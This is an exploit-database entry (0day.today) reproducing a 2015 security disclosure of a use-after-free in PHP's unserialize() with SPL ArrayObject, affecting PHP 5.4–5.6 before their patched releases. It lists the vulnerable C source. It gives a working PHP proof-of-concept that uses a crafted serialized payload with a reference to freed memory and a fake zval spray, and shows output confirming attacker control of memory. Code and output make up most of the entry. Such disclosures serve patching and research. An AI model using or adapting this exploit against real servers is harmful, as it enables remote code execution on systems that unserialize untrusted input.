PHP SPL ArrayObject Use-After-Free Exploit

2015-08-10T00:00:00
ID 1337DAY-ID-24006
Type zdt
Reporter Taoguang Chen
Modified 2015-08-10T00:00:00

Description

A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

                                        
                                            #Use After Free Vulnerability in unserialize() with SPL ArrayObject

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
  if (*p!= 'x' || *++p != ':') {
    goto outexcept;
  }
  ++p;

  ALLOC_INIT_ZVAL(pflags);
  if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
    zval_ptr_dtor(&pflags);
    goto outexcept;
  }

  --p; /* for ';' */
  flags = Z_LVAL_P(pflags);
  zval_ptr_dtor(&pflags);  <===  free memory
  
  ...

  /* members */
  if (*p!= 'm' || *++p != ':') {
    goto outexcept;
  }
  ++p;

  ALLOC_INIT_ZVAL(pmembers);
  if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
    zval_ptr_dtor(&pmembers);
    goto outexcept;
  }

  /* copy members */
  if (!intern->std.properties) {
    rebuild_object_properties(&intern->std);
  }
  zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
  zval_ptr_dtor(&pmembers);  <===  free memory

  /* done reading $serialized */

  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  return;
```

The zval_ptr_dtor() leads to &pflags and &pmembers are freed from
memory. However the unserialize() will still allow to use R: or r: to
set references to that already freed memory. It is possible to
use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1234;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```

#  0day.today [2018-01-04]  #